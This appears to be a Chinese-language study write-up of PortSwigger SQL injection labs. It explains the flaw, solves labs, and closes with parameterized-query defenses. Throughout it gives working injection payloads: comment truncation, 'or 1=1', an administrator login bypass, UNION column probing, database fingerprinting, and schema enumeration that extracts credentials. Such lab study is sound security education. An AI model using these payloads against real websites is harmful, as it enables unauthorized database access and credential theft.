Portswigger-SQL Injeciton
SQL Injection
SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。
说白了就是一种未经授权获取数据库敏感数据的方式。
例如一个购物网站,当用户点击礼物类别时,他们的浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts
让我们来看看数据库是怎么执行的SQL查询
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
该限制released = 1
用于隐藏未发布的产品。
由于该站点没有对SQL注入攻击做防御,因此可以构建这样的Payload
https://insecure-website.com/products?category=Gifts’–
如此一来,数据库执行的SQL查询就变成了下面这样
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
这里的关键是双破折号--
是SQL中的注释指示符,意味着查询的其余部分被解释为注释,这样就达到了显示该站点所有产品的目的。
Lab-1 获取隐藏数据
当用户选择一个类别时,应用程序执行如下 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
修改category
参数,给它赋值'+or+1=1--
Tips:
使用注释来截断查询并删除原始查询中输入之后的部分。
数据库 | 注释指示符 |
---|---|
Oracle | –comment |
Microsoft | –comment/comment/ |
PostgreSQL | –comment/comment/ |
MySQL | #comment – comment[注意双破折号后的空格] /comment/ |
Lab-2 登陆绕过
使用Burpsuite抓包修改username参数administrator’–,实现以管理员身份登录。
SQL Injection UNION Attacks
当站点存在SQL注入点时,UNION
关键字可用于从数据库中的其他表中获取数据。
UNION关键字允许执行多个SELECT查询
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
UNION查询能否正常执行,必须满足两个关键要求:
- 各个查询必须返回相同数量的列。
- 每列中的数据类型必须在各个查询之间兼容。
所以使用UNION attacks之前,需要搞清楚以下两点:
- 原始查询返回了多少列
- 从原始查询返回的哪些列具有合适的数据类型来保存注入查询的结果
确定返回的列数
在执行SQL注入UNION攻击时,有两种有效的方法可以确定从原始查询返回的列数。
-
ORDER BY
ORDER BY
子句并递增指定的列索引,直到发生错误。' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3--
当指定的列索引超过结果集中的实际列数时,数据库返回错误,如:
The ORDER BY position number 3 is out of range of the number of items in the select list.
-
UNION SELECT
提交一系列
UNION SELECT
指定不同数量的空值' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
如果空值数与列数不匹配,则数据库返回错误,例如:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
查找有用数据列
通常,我们想要的数据是字符串类型,所以需要在原始查询结果中找到数据类型为字符串数据或与字符串数据兼容的一列或多列。当我们确定列数之后,通过提交一系列UNION SELECT
将字符串值依次放入每列,测试它是否可以保存字符串数据。例如,如果查询返回四列,可以构造如下Payload:
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
如果某列的数据类型与字符串数据不兼容,则注入查询会导致数据库错误,例如:
Conversion failed when converting the varchar value 'a' to data type int.
查找有用的数据
当确定列数和哪些列可以保存字符串数据之后,我们就可以构造Payload来获取想要的数据。
假设:
- 原始查询返回两列,这两列都可以保存字符串数据。
- 注入点是
WHERE
子句中带引号的字符串。 - 该数据库包含一个名为的表
users
,其列username
和password
.
因此,针对上述情况,我们可以构造如下Payload:
' UNION SELECT username, password FROM users--
在单个列中检索多个值
如果查询仅返回单个列,可以采用字符串连接运算符将多个值拼接在一起,不同的数据库,字符串连接运算符也不同。
数据库类型 | 字符串连接运算符 |
---|---|
Oracle | ‘abc’||’def’ |
Microsoft | ‘abc’+’def |
PostgreSQL | ‘abc’||’def’ |
MySQL | ‘abc’ ‘def’ [Note the space between the two strings] CONCAT(‘foo’,’bar’) |
例如,在Oracle
数据库中,我们可以构造如下Payload:
' UNION SELECT username || '~' || password FROM users--
查询结果如下:
...
administrator~s3cure
wiener~peter
carlos~montoya
...
检查数据库
通常,在确定站点存在SQL注入漏洞之后,获取数据库自身的信息非常重要,数据库的版本信息etc.
Database type | Query |
---|---|
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
例如,可以使用UNION构造如下Payload:
' UNION SELECT @@version--
Lab-3 查询数据库信息
' or 1=1#
' UNION SELECT NULL#
' UNION SELECT NULL,NULL#
' UNION SELECT 'a','a'#
' UNION SELECT NULL,@@version#
列出数据库内容
大多数数据库类型(Oracle除外)都有一组称为信息模式的视图,它们提供有关数据库的信息。
可以查询information_schema.tables
来列出数据库中的表:
SELECT * FROM information_schema.tables
会有如下输出:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE =====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
此输出表明存在三个表,分别称为Products
、Users
和Feedback
。
紧接着,可以查询information_schema.columns
以列出各个表中的列:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
输出如下:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
此输出显示指定表中的列以及每列的数据类型。
而在Oracle
数据库中,可以通过以下查询方式获得相同的信息。
可以通过查询列出表all_tables
:
SELECT * FROM all_tables
可以通过查询列出列all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Lab-4 列出数据库内容
非Oracle数据库
'or 1=1--
'union select null,null--
'union select 'a',null--
'union select null,'a'--
接下来判断数据库类型
'union select null,version()--
输出结果为PostgreSQL数据库
PostgreSQL 11.15 (Debian 11.15-1.pgdg90+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit
继续查询数据库信息,查找Administrator
账号密码
'union select table_name,null from information_schema.tables--
'union select column_name,null from information_schema.columns where table_name='users_jrltqg'--
'union select username_tydaqe,password_akiwsk from users_jrltqg--
Oracle数据库
常规SQLI流程走一遍
'or 1=1--
'union select null,null--
'union select 'a',null--
'union select null,'a'--
接下来判断数据库类型
//判断数据库类型
' union select null,banner from v$version--
//输出结果为Oracle数据库
CORE 11.2.0.2.0 Production
NLSRTL Version 11.2.0.2.0 - Production
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
TNS for Linux: Version 11.2.0.2.0 - Production
由于是Oracle数据库,可以使用all_tables
来查询
' union select null,table_name from all_tables--
' union select null,column_name from all_tab_columns where table_name='USERS_WTXTFQ'--
' union select USERNAME_IOZGGV,PASSWORD_GPYWVT from USERS_WTXTFQ--
成功的拿到了管理员账号密码
Second-order SQL injection
二阶SQLI也称为存储SQLI,站点从HTTP请求中获取用户输入并将其存储下来以供将来使用,但在存储数据的位置不会出现漏洞。稍后,当处理不同的HTTP请求时,站点会检索存储的数据并以不安全的方式将其合并到SQL查询中。
二阶SQLI通常出现在开发人员知道SQLI的情况下,因此可将用户输入的数据存储到数据库中。当数据稍后被处理时,它被认为是安全的,因为它之前被安全地放入数据库中。此时,数据却以不安全的方式被处理,因为开发人员错误地认为它是可信的。
Database-specific factors
虽然数据库的种类很多,但是SQL语言的一些核心特性在主流数据库平台上以相同的方式实现,因此检测和利用SQLI的许多方法是相通的。
但是,常见数据库之间仍存在一些差异,例如:
- 字符串连接的语法
- 注释
- 批处理(或堆叠)查询
- 特定于平台的 API
- 错误消息
How to prevent SQL injection
大多数 SQL 注入实例可以通过使用参数化查询(也称为预准备语句)而不是查询中的字符串连接来防止。
以下代码易受SQL注入攻击,因为用户输入直接连接到查询中:
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
这段代码可以很容易地重写,以防止用户输入干扰查询结构:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
参数化查询可用于不可信输入在查询中显示为数据的任何情况,包括or
语句WHERE
中的子句和值。它们不能用于处理查询的其他部分中的不受信任的输入,例如表名、列名以及子句。将不受信任的数据放入查询的这些部分的站点将需要采用不同的方法,例如将允许的输入值列入白名单或使用不同的逻辑来提供所需的功能。
为了使参数化查询有效地防止SQLI,查询中使用的字符串必须始终是硬编码的常量,并且不得包含来自任何来源的任何可变数据。
The quieter you are, The more you can hear!